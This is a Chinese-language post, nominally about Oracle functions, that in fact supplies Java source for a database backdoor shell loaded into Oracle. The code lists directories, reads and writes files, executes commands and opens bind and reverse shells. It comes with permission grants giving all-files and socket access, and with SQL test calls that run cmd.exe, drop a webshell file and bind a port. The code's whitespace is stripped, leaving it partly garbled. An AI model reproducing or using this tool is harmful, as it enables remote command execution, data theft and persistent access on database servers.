在向大家詳細介紹Oracle函數之前,首先讓大家了解下Oracle數據庫建立Java對象,然後全面介紹Oracle函數,希望對大家有用。首先在Oracle數據庫建立JAVA對象, 這個版本的SQLJ-SHELL 只能支持正向連接,反向連接的時候有BUG 不建議使用,不知道是ORA支持Java的問題還是個人能力有限:
- createorreplaceandcompileJavasourcenamedistoas
- importJava.io.*;
- importJava.Net.*;
- publicclassISTO{
- //author:kj021320
- //team:I.S.T.O
- publicstaticStringlistFolder(Stringpath){
- Filef=null;
- Stringstr="";
- f=newFile(path);
- String[]ffiles=f.list();
- if(files!=null)
- for(inti=0;i<files.length;i++){
- str+=files[i]+"\r\n";
- }
- returnstr;
- }
- publicstaticStringsaveFile(Stringfilepath,Stringvalue){
- FileOutputStreamfos=null;
- try{
- fos=newFileOutputStream(filepath);
- fos.write(value.getBytes());
- return"OK";
- }catch(Exceptione){
- returne.getMessage();
- }finally{
- if(fos!=null){
- try{fos.close();}catch(Exceptione){}
- }
- }
- }
- publicstaticStringreadFile(Stringpathfile,Stringcode){
- BufferedReaderbr=null;
- Stringvalue="";
- try{
- br=newBufferedReader(newInputStreamReader(newFileInputStream(pathfile),code));
- Strings=null;
- while((s=br.readLine())!=null){
- value+=s;
- }
- returnvalue;
- }catch(Exceptione){
- returne.getMessage();
- }finally{
- if(br!=null){try{br.close();}catch(IOExceptione){}}
- }
- }
- publicstaticStringexecFile(Stringfilepath,Stringcode){
- inti=0;
- RuntimeRuntimert=Runtime.getRuntime();
- Stringoutput="";
- InputStreamReaderisr=null;
- char[]bufferC=newchar[1024];
- try{
- Processps=rt.exec(filepath);
- isr=newInputStreamReader(ps.getInputStream(),code);
- while((i=isr.read(bufferC,0,bufferC.length))!=-1){
- output+=newString(bufferC,0,i);
- }
- returnoutput;
- }catch(Exceptione){
- returne.getMessage();
- }finally{
- if(isr!=null)try{isr.close();}catch(IOExceptione){}
- }
- }
- publicstaticStringbindShell(intport){
- ServerSocketss=null;
- Sockets=null;
- try{
- ss=newServerSocket(port);
- s=ss.accept();
- newoptShell(ss,s).start();
- return"OK";
- }catch(Exceptione){
- returne.getMessage();
- }
- }
- publicstaticStringreverseShell(StrinGhost,intport){
- Sockets=null;
- try{
- s=newSocket(host,port);
- newoptShell(null,s).start();
- return"OK";
- }catch(Exceptione){
- returne.getMessage();
- }
- }
- publicstaticclassoptShellextendsThread{
- OutputStreamos=null;
- InputStreamis=null;
- ServerSocketss;
- Sockets;
- publicoptShell(ServerSocketss,Sockets){
- this.ss=ss;
- this.s=s;
- try{
- this.is=s.getInputStream();
- this.os=s.getOutputStream();
- }catch(Exceptione){
- if(os!=null)try{os.close();}catch(Exceptionex){}
- if(is!=null)try{is.close();}catch(Exceptionex){}
- if(s!=null)try{s.close();}catch(Exceptionex){}
- if(ss!=null)try{ss.close();}catch(Exceptionex){}
- }
- }
- publicvoidrun(){
- BufferedReaderbr=newBufferedReader(newInputStreamReader(is));
- Stringline="";
- Stringcmdhelp="Command:\r\nlist\r\nsave\r\nread\r\nexec\r\nexit\r\n";
- try{
- //os.write(cmdhelp.getBytes());
- line=br.readLine();
- while(!"exit".equals(line)){
- if(line.length()>3){
- StringBuffersb=newStringBuffer(line.trim());
- Stringcmd=sb.substring(0,4);
- if(cmd.equals("list")){
- os.write("inputyoupath:\r\n".getBytes());
- line=br.readLine();
- os.write(listFolder(line).getBytes());
- }elseif("save".equals(cmd)){
- os.write("inputyoufilepath:\r\n".getBytes());
- line=br.readLine();
- os.write("inputyouvalue:\r\n".getBytes());
- os.write(saveFile(line,br.readLine()).getBytes());
- }elseif("read".equals(cmd)){
- os.write("inputyoufilepath:\r\n".getBytes());
- line=br.readLine();
- os.write("inputyoucodeexamle:GBK\r\n".getBytes());
- os.write(readFile(line,br.readLine()).getBytes());
- }elseif("exec".equals(cmd)){
- os.write("inputyourunfilepath:\r\n".getBytes());
- line=br.readLine();
- os.write("inputyoucodeexamle:GBK\r\n".getBytes());
- os.write(execFile(line,br.readLine()).getBytes());
- }else{
- os.write(cmdhelp.getBytes());
- }
- }else{
- os.write(cmdhelp.getBytes());
- }
- line=br.readLine();
- }
- }catch(Exceptione){
- e.printStackTrace();
- }finally{
- if(os!=null)try{os.close();}catch(Exceptione){}
- if(is!=null)try{is.close();}catch(Exceptione){}
- if(s!=null)try{s.close();}catch(Exceptione){}
- if(ss!=null)try{ss.close();}catch(Exceptione){}
- }
- }
- }
- }
以上建立完成之後 需要用Oracle函數調用Java的靜態方法:
◆列舉目錄函數
◆保存文件函數
◆讀文件函數
◆運行文件函數
◆端口綁定 你可以telnet進去
以上Oracle函數轉換操作之後 需要給Java授予訪問權限
- begin
- Dbms_Java.Grant_Permission('用戶名字','Java.io.FilePermission','<<ALL FILES>>','read,write,execute,delete');
- Dbms_Java.Grant_Permission('用戶名字','Java.lang.RuntimePermission','*','writeFileDescriptor');
- Dbms_Java.grant_permission('用戶名字','Java.Net.SocketPermission','*:*','accept,connect,listen,resolve');
- end;
然後就可以進行文件操作以及 運行程序 開啟網絡!
以下為測試代碼:
- SELECT ISTO_LISTFOLDER('/usr') FROM DUAL
- SELECT ISTO_EXECFILE('C:\Windows\system32\cmd.exe /c dir c:\','GBK') FROM DUAL;
- SELECT ISTO_READFILE('/tmp/1.txt','GBK') FROM DUAL;
- SELECT ISTO_SAVEFILE('/tmp/1.txt','一句話shell') FROM DUAL;
- SELECT ISTO_BINDSHELL(20000) FROM DUAL